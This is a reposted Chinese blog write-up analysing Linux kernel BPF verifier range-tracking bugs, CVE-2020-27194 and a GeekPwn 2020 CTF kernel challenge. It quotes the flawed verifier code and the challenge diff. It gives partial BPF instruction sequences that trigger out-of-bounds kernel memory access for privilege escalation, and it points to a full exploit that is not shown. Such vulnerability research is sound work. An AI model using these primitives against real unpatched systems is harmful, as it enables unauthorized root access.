linux bpf.h漏洞,Linux kernel BPF模块的相关漏洞分析

转载

覃龙光 于 2021-05-17 23:13:52 发布 73 收藏
文章标签： linux bpf.h漏洞

今年pwn2own上的linux kernel提权漏洞是linux kernel bpf模块的漏洞 ---CVE-2020-8835，更早听说过的与bpf相关的漏洞是CVE-2017-16995。然后在上海参加GeekPwn 云靶场线下挑战赛的时候，也是一道bpf相关的内核题。我和我们队长通宵学习相关知识，最后拿到了这道题全场唯一的一血。 然后紧接着在11月1号，又有国外研究者爆出了bpf的又一个漏洞--CVE-2020-27194，也是内核提权。CVE-2020-27194是linux kernel 5.8.x的通杀洞，和GeekPwn的kernel题一个环境。事后和队长感慨，还好这个洞晚了几天公开，不然我们就拿不到第2名的好名次了(同时损失奖金)。

360团队和漏洞研究者都已经写了CVE-2020-27194的writeup，但是没公布exp(那我就公开一下？)。这个漏洞和GeekPwn那道题的利用原理类似，于是想一起写一篇Writeup描述一下这种漏洞的利用。

BPF基础

关于BPF的相关基础知识，ZDI上CVE-2020-8835的Writeup已经写的足够清晰。然后另外比较一个重要的资料就是 kernel的文档，所以这里不再复述过多。

简单地说, 就是内核里实现了bpf字节码的JIT compiler， 用户可以在用户态编写bpf代码然后经Jit compiler后执行。但是如果不加以限制，就相当于用户可以在内核执行任意代码，显然不符合权限管理模型。于是需要有一个verify的机制(相当于静态程序分析)，去检查一些不合法的行为。

其中一个很重要的点就是会对常数变量设置一个取值范围。struct bpf_reg_state里存储着这样8个变量：

s64 smin_value; /* minimum possible (s64)value */

s64 smax_value; /* maximum possible (s64)value */

u64 umin_value; /* minimum possible (u64)value */

u64 umax_value; /* maximum possible (u64)value */

s32 s32_min_value; /* minimum possible (s32)value */

s32 s32_max_value; /* maximum possible (s32)value */

u32 u32_min_value; /* minimum possible (u32)value */

u32 u32_max_value; /* maximum possible (u32)value */

在verify阶段，当指针和常数进行各种数学运算，如addr+x时，会使用x的取值范围去验证这样的运算是否越界。

所以，如果在verify阶段，常数变量的取值范围计算存在逻辑上的漏洞，就会导致该变量实际运行时的值不在取值范围内。 假设用户申请了一块0x1000的map，然后用户想读写map+x位置的内存，x是常数变量。由于漏洞，verify阶段计算x的取值范围是 0<=x<=0x1000, 验证通过，然后jit compile成汇编执行。但是实际用户传入x的值是0x2000，这样就导致了内存的越界读写。 CVE-2020-8835、CVE-2020-27194、以及GeekPwn的kernel题都是这种类型的洞。

CVE-2020-27194

漏洞成因是32位or运算的取值范围分析错误：

static void scalar32_min_max_or(struct bpf_reg_state *dst_reg,

```
struct bpf_reg_state *src_reg)
{
bool src_known = tnum_subreg_is_const(src_reg->var_off);
bool dst_known = tnum_subreg_is_const(dst_reg->var_off);
struct tnum var32_off = tnum_subreg(dst_reg->var_off);
s32 smin_val = src_reg->smin_value;
u32 umin_val = src_reg->umin_value;
/* Assuming scalar64_min_max_or will be called so it is safe
* to skip updating register for known case.
*/
if (src_known && dst_known)
return;
/* We get our maximum from the var_off, and our minimum is the
* maximum of the operands' minima
*/
dst_reg->u32_min_value = max(dst_reg->u32_min_value, umin_val);
dst_reg->u32_max_value = var32_off.value | var32_off.mask;
if (dst_reg->s32_min_value < 0 || smin_val < 0) {
/* Lose signed bounds when ORing negative numbers,
* ain't nobody got time for that.
*/
dst_reg->s32_min_value = S32_MIN;
dst_reg->s32_max_value = S32_MAX;
} else {
/* ORing two positives gives a positive, so safe to
* cast result into s64.
*/
dst_reg->s32_min_value = dst_reg->umin_value;
dst_reg->s32_max_value = dst_reg->umax_value;
}
}
```

在进行两个有符号正数or运算时， 最后2行代码将寄存器的64位无符号数的取值范围辅助给了32位有符号数的取值范围。这是一个很明显的错误，一个常数变量x，如果它64位无符号数的取值范围是1<=x<=0x100000001，然后x|=0，x的32位有符号数的取值范围就成了1<=x<=1，x=1, 但是实际x的取值可以是2。这个差1错误经过倍数放大，可以造成任意长度的溢出读写。

所以bpf程序构造如下：

```
struct bpf_insn prog[] = {

BPF_LD_MAP_FD(BPF_REG_9, mapfd),

BPF_MAP_GET(0, BPF_REG_5), // r5 = input()

BPF_LD_IMM64(BPF_REG_6, 0x600000002), //r6=0x600000002

BPF_JMP_REG(BPF_JLT, BPF_REG_5, BPF_REG_6, 1), //if r5 < r6 ; jmp 1

BPF_EXIT_INSN(),

BPF_JMP_IMM(BPF_JGT, BPF_REG_5, 0, 1), //if r5 > 0 ; jmp 1 ;

BPF_EXIT_INSN(),

// now 1 <= r5 <= 0x600000001

BPF_ALU64_IMM(BPF_OR, BPF_REG_5, 0), //r5 |=0; verify: 1 <= r5 <=1 , r5=1

BPF_MOV_REG(BPF_REG_6, BPF_REG_5), //r6 =r5

BPF_ALU64_IMM(BPF_RSH, BPF_REG_6, 1), //r6 >>1 verify:0 fact: we can let r5=2 then r6=1

.....

}
```

bpf程序后面的代码及利用技巧和CVE-2020-8835的exp完全一样，后续的利用原理。只需要根据不同版本的内核调一下array_map_ops和init_pid_ns的偏移即可，完整的exp。

利用效果：

)

GeekPwn 2020 final kernel

题目给了patch过的linux kernel 5.8.6 内核源码，diff找到修改的位置：

```
5277,5280c5277,5292

< dst_reg->smin_value += smin_val;

< dst_reg->smax_value += smax_val;

< dst_reg->umin_value += umin_val;

< dst_reg->umax_value += umax_val;

---

> if (signed_add_overflows(dst_reg->smin_value, smin_val) ||

> signed_add_overflows(dst_reg->smax_value, smax_val)) {
```

> dst_reg->smin_value = S64_MIN;

> dst_reg->smax_value = S64_MAX;

> } else {

> dst_reg->smin_value += smin_val;

> dst_reg->smax_value += smax_val;

> }

> if (dst_reg->umin_value + umin_val < umin_val ||

> dst_reg->umax_value + umax_val < umax_val) {

> dst_reg->umin_value = 0;

> dst_reg->umax_value = U64_MAX;

> } else {

> dst_reg->umin_value += umin_val;

> dst_reg->umax_value += umax_val;

> }

5789c5801

< smin_val > smax_val) {

> smin_val > smax_val || umin_val > umax_val) {

根据行数，发现patch的删掉了scalar_min_max_add函数，也就是64位数加法运算的整数溢出检查，以及adjust_scalar_min_max_vals函数64位无符号数 umin_val>umx_val的检查。 很明显，我们只要构造加法上的整数溢出即可，即令x的取值范围为0<=x<=-1， 然后x+1， x得到的取值范围是1<=x<=0，这里因为第2处patch不会触发报错，然后两边除以2就可以x的取值范围是0。但是x的实际输入可以是64位的任意数。

那么构造程序完全仿造CVE-2020-27194即可：

struct bpf_insn prog[] = {

BPF_LD_MAP_FD(BPF_REG_9, mapfd),

BPF_MAP_GET(0, BPF_REG_5), // r5 = input()

BPF_LD_IMM64(BPF_REG_6, -1), //r6=-1

BPF_JMP_REG(BPF_JLE, BPF_REG_5, BPF_REG_6, 1), //if r5 <= -1 ; jmp 1

//BPF_JMP_IMM(BPF_JLE, BPF_REG_5, -1, 1),

BPF_EXIT_INSN(),

BPF_JMP_IMM(BPF_JGE, BPF_REG_5, 0, 1), //if r5 >= 0 ; jmp 1 ;

BPF_EXIT_INSN(),

// now 0 <= r5 <= -1

BPF_ALU64_IMM(BPF_ADD, BPF_REG_5, 1), //r5 += 1 , then 1 <= r5 <=0 , won't crash because patch

BPF_MOV64_REG(BPF_REG_6, BPF_REG_5), //r6 =r5

BPF_ALU64_IMM(BPF_RSH, BPF_REG_6, 1), //r6 >>1 verify: believe r6=0 fact： we can input r5=2, then r6=1

.....

}

实际在做这道题的时候，后面利用是存在大坑的。因为出题人在编译内核的时候开启了结构体随机化。内核结构体里的变量的偏移和正常编译出来的内核不一样，于是需要看内核函数的汇编去计算各种偏移，十分繁琐且毫无知识点。 赛后和出题人吐槽了一下，结构体随机化除了恶心人毫无意义。

完整exp.

总结

linux kernel bpf模块verify部分的代码还是比较容易读懂，且逻辑也不复杂，上述漏洞都是verify时对常数变量取值范围的逻辑错误导致的。更为重要的是，CVE-2020-27194发现者提出的fuzz方法值得我们去思考和学习。思考的点是其实该fuzz方法并没有什么高深的理论，用的是很朴素的方法，可为什么那么多复现CVE-2020-8835漏洞的人没有想到并实现(包括我这个菜鸡)？我们需要由点及面的思考方式去发现更多的漏洞，且勤动手。

References